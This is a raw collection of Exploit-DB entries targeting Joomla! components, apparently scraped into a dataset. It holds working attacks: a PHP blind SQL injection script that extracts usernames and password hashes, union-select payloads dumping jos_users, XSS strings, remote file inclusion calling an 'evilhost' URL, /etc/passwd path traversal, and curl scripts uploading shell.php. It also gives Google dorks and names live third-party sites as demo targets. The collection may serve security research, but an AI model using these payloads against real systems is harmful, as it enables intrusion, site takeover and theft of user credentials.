deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44104
Description: Joomla! Component Kubik-Rubik Simple Image Gallery Extended (SIGE) 3.2.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-02-16
Author: Alwin Peppels

Exploit:
# Exploit Title: Joomla! Component SIGE version <= 3.2.3 Cross-site Scripting
# Date: 15-02-2018
# Software Link: https://downloads.kubik-rubik.de/joomla-extensions/plg_sige_v3.2.3.zip
# Exploit Author: Alwin Peppels
# Website: www.onvio.nl
# CVE: CVE-2017-16356
# Category: webapps

1. Description
Kubik-Rubik Simple Image Gallery Extended (SIGE) contains an XSS in the
'print.php' file.
Insufficient sanitization of the 'caption' URL parameter allows injection
of Javascript into the page.
In versions <= 3.2.0 the 'name' and 'img' parameters are vulnerable as well.
Google dork: inurl:plugin_sige/print.php

The version of the SIGE plugin can be determined with this file:
[JOOMLA]/plugins/content/sige/sige.xml

2. Proof of Concept


 [JOOMLA]/plugins/content/sige/plugin_sige/print.php?img=x&caption=<img%20src=x%20onerror=alert(%27XSS%27)>

3. Solution:

Update to version 3.3.0
https://downloads.kubik-rubik.de/joomla-extensions/plg_sige_v3.3.0.zip
Exploit-DB #32562
Description: Joomla! Component Kunena 3.0.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-03-27
Author: Qoppa

Exploit:
Persistent XSS in Joomla::Kunena 3.0.4
26. February 2014
by Qoppa

+++ Description

"Kunena is the leading Joomla forum component. Downloaded more than 3,750,000 times in nearly 6 years."

Kunena is written in PHP. Users can post a Google Map using the following BBCode
	[map]content[/map]

Kunena creates a JavaScript based on input, but doesn't decode it correctly.


+++ Analysis

Vulnerable function in \bbcode\bbcode.php (lines 1049-1116)

1049	function DoMap($bbcode, $action, $name, $default, $params, $content) {
	...
1078	$document->addScriptDeclaration("
1079	// <![CDATA[
	...
1097	var contentString = '<p><strong>".JText::_('COM_KUNENA_GOOGLE_MAP_NO_GEOCODE', true)." <i>".json_encode($content)."</i></strong></p>';
	...
1112	// ]]>"
1113	);

Single quotes remain untouched in $content, so it's possible to break out of encapsulation.


+++ PoC Exploit

[map]'}});}});alert('XSS');(function(){{(function(){{var v='[/map]
Exploit-DB #9408
Description: Joomla! Component Kunena Forums (com_kunena) - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-08-10
Author: ilker Kandemir

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#         Joomla Kunena Forums (func) Blind SQL Injection Exploit
#
#                          MEFISTO  a.k.a  ilkerkandemir
#                        mefisto [at] hackermail . com
#                            (IMT) imhatimi.org                          
#                         Usage: target.php [site][SQL]
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
        $i = 122;
      }
   }
}
} else {
echo "\nExploiting Failed \n";
}

/*
Note:
<name>Kunena</name>
<version>1.5.3</version>
<versionname>Spreek</versionname>
<creationDate>2009-06-15</creationDate>
<build>1688</build>
<author>www.Kunena.com</author>
<authorEmail>Kunena@Kunena.com</authorEmail>
<authorUrl>http://www.Kunena.com</authorUrl>
<copyright>www.Kunena.com</copyright>
<license>GNU/GPL</license>
<description>Kunena Forum</description>
*/
?>

# milw0rm.com [2009-08-10]
Exploit-DB #30190
Description: Joomla! Component Letterman Subscriber Module 1.2.4 - 'Mod_Lettermansubscribe.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-14
Author: Edi Strosar

Exploit:
source: https://www.securityfocus.com/bid/24479/info

The Joomla! Letterman Subscriber module is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Joomla! Letterman Subscriber 1.2.4-RC1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?option=com_letterman&task=view&id=1&Itemid=1"><script>alert(String.fromCharCode(88,83,83))</script>
Exploit-DB #28302
Description: Joomla! Component Liga Manager Online 2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-30
Author: vitux.manis

Exploit:
source: https://www.securityfocus.com/bid/19234/info

Liga Manager Online Joomla! Component is prone to a remote file-include vulnerability. 

This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. 

This may allow the attacker to compromise the application and gain access to the underlying system.

http://www.vuln.com/components/com_lmo/lmo.php?mosConfig_absolute_path=http://evilhost
Exploit-DB #2214
Description: Joomla! Component Link Directory 1.0.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-18
Author: camino

Exploit:
    .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 18.o8.2oo6 ..
 
 
  Affected Application: Link Directory <= v1.0.3

          (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino[at]sexmagnet[dot]com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [x]  High [ ]
 
  Application: Link Directory
 
  Version: <= 1.0.3
 
  Vulnerable File: toolbar.linkdirectory.html.php
 
  URL: http://www.sonerekici.com
 
  Description: It's a component to publish links.
 
  Dork: inurl:"com_linkdirectory"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


  http://[sitepath]/[joomlapath]/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path=http://huh?
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open toolbar.linkdirectory.html.php
 
  o2.) add this after line 8:

         defined( '_VALID_MOS' ) or 

         die( 'Direct Access to this location is not allowed.' );

  o3.) done!



 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members of insecurity research team ;-)

# milw0rm.com [2006-08-18]
Exploit-DB #7441
Description: Joomla! Component live chat - SQL Injection / Open Proxy
Type: webapps
Platform: php
Date: 2008-12-12
Author: jdc

Exploit:
Joomla Live Chat

http://www.joompolitan.com/livechat.html

Google Dork: allinurl:option=com_livechat

author: jdc


SQL Injections:

administrator/components/com_livechat/getChat.php && administrator/components/com_livechat/getSavedChatRooms.php don't sanitize the variable 'last':


$last = (isset($_GET['last']) && $_GET['last'] != '') ? $_GET['last'] : 0;
--------------------------------------------------------^

administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3,4%20from%20jos_users

administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3%20from%20jos_users


Open Proxy ( sends HTTP_FORWARDED ):

administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.google.com


# milw0rm.com [2008-12-12]
Exploit-DB #7573
Description: Joomla! Component Live Ticker 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-24
Author: boom3rang

Exploit:
#############################################################
Joomla Component com_liveticker(tid) Blind SQL-injection
#############################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
#[~] Vulnerability :  Blind SQL injection 
#[~] Google Dork   :  inurl:com_liveticker 
--------------------------------------------------
#[!] Name          :  Live Ticker
#[!] Author        :  raven-worx
#[!] AuthorEmail   :  info@raven-worx.net
#[!] Version       :  1.0.0
###################################################

Example:
http://localHost/path/index.php?option=com_liveticker&task=viewticker&tid=[SQL]



LiveDEMO:


http://www.komponenten.joomlademo.de/index.php?option=com_liveticker&task=viewticker&tid=1 and substring(@@version,1,1)=4   >>(False)


http://www.komponenten.joomlademo.de/index.php?option=com_liveticker&task=viewticker&tid=1 and substring(@@version,1,1)=5   >>(True)




##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-24]
Exploit-DB #2092
Description: Joomla! Component LMO 1.0b2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-30
Author: vitux

Exploit:
Application : LMO - Joomla! Component

URL : http://forge.joomla.org/sf/projects/lmo

Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_lmo/lmo.php on line 11-12

$lmo_dateipfad=$mosConfig_absolute_path."/administrator/components/com_lmo/";
$lmo_url=$mosConfig_live_site."/administrator/components/com_lmo/";
 
Exploit:
~~~~~~~~

dork: "com_lmo"

http://www.vuln.com/components/com_lmo/lmo.php?mosConfig_absolute_path=http://evilhost

Fix
~~~~

Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux
 
#vitux.manis@gmail.com

# milw0rm.com [2006-07-30]
Exploit-DB #42415
Description: Joomla! Component LMS King Professional 3.2.4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-02
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component LMS King Professional v3.2.4.0 - SQL Injection
# Dork: N/A
# Date: 02.08.2017
# Vendor : http://king-products.net/
# Software: https://extensions.joomla.org/extensions/extension/living/education-a-culture/lms-king-professional-for-joomla/
# Demo: http://demo.king-products.net/
# Version: 3.2.4.0
# # # # #
# Author: Ihsan Sencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_lmsking&view=lmsking&layout=learningpath&task=learningPath&cp_id=[SQL]
# Etc..
# # # # #
Exploit-DB #12068
Description: Joomla! Component LoginBox - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-05
Author: Vrs-hCk

Exploit:
 ================================================================================================

 Title    : Joomla Component com_loginbox LFI Vulnerability
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_loginbox&view=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n
Exploit-DB #12235
Description: Joomla! Component Love Factory 1.3.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: AntiSecurity

Exploit:
=================================================================================================================


  [o] Joomla Component Love Factory Local File Inclusion Vulnerability
 
       Software : com_lovefactory version 1.3.4
       Vendor   : http://www.thefactory.ro/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_lovefactory&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11

       love kk love.. :p
       happy birthday buad bokap na s4va.. God bless.. ^____^


=================================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #36863
Description: Joomla! Component Machine - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-02-20
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/52095/info

The Machine component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_machine&view=machine&Itemid=[SQL Injection]
http://www.example.com/index.php?option=com_machine&view=machine&Itemid=xxx&idMacchina=[SQL Injection]
Exploit-DB #6724
Description: Joomla! Component mad4Joomla! - SQL Injection
Type: webapps
Platform: php
Date: 2008-10-10
Author: H!tm@N

Exploit:
#############################################################################
#							                    #
#     Joomla Component Mad4Joomla Mailforms SQL Injection Vulnerability     #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Mad4Joomla Mailforms (com_mad4joomla)" 
[~] Author:        "Dipl. Inf. Fahrettin Kutyol"
[~] Author E-mail: "joomla@mad4media.com"
[~] Author URL:    "www.mad4media.de"

########################################

[~] Exploit: /index.php?option=com_mad4joomla&jid=[SQL]

[~] Example: /index.php?option=com_mad4joomla&jid=-2+union+select+1,concat(username,char(58),password)KHG,3,4+from+jos_users--



########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-10]
Exploit-DB #41410
Description: Joomla! Component Magic Deals Web 1.2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Magic Deals Web v1.2.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_magicdealsweb
# Date: 21.02.2017
# Vendor Homepage: http://jasonwebdesign.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/e-commerce/gifts-a-coupons/magic-deals-web/
# Demo: http://magicdealsweb.jasonwebdesign.com/
# Version: 1.2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?filterbycats=all&fullordering=[SQL]&option=com_magicdealsweb&task=dealswebindex&view=dealswebindex
# http://localhost/[PATH]/index.php?filterbycats=[SQL]=final_price+DESC&option=com_magicdealsweb&task=dealswebindex&view=dealswebindex
# http://localhost/[PATH]/index.php/component/magicdealsweb/?option=com_magicdealsweb&view=search&search_in=11&q=[SQL]
# # # # #
Exploit-DB #12070
Description: Joomla! Component Magic Updater - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-05
Author: Vrs-hCk

Exploit:
 ================================================================================================

 Title    : Joomla Magic Updater (com_joomlaupdater) LFI Vulnerability
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_joomlaupdater&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n
Exploit-DB #37412
Description: Joomla! Component Maian Media - 'uploadhandler.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-16
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54041/info

The Maian Media component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

<?php

$headers = array("Content-Type: application/octet-stream");
$uploadfile="<?php phpinfo(); ?>";
$ch = 
curl_init("http://www.example.com/administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
Exploit-DB #8365
Description: Joomla! Component Maian Music 1.2.1 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-08
Author: H!tm@N

Exploit:
#############################################################################
#							                    #
#           Joomla Component MaianMusic SQL Injection Vulnerability         #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "MaianMusic (com_maianmusic)"
[~] Version:        "1.2.1" 
[~] Date:           "09-26-2008"
[~] Author:         "Arelowo Alao & David Bennett"
[~] Author E-mail:  "Alao@aretimes.com"
[~] Author URL:     "www.aretimes.com"

########################################

[~] Exploit: /index.php?option=com_maianmusic&section=category&category=[SQL]&Itemid=70
[~] Example: /index.php?option=com_maianmusic&section=category&category=-1+union+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users--&Itemid=70

########################################

[~] LiveDemo: http://musicsunderground.com/index.php?option=com_maianmusic&section=category&category=-1+union+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users--&Itemid=70&lang=en

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] R.I.P redc00de

########################################

# milw0rm.com [2009-04-08]
Exploit-DB #38814
Description: Joomla! Component Maian15 - 'name' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-10-20
Author: SultanHaikal

Exploit:
source: https://www.securityfocus.com/bid/63287/info

The Maian15 component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

<?php
$headers = array("Content-Type: application/octet-stream");
$uploadfile="<?php phpinfo(); ?>";
$ch =
curl_init("http://www.example.com/path/administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php?name=shell.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, @$uploadfile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>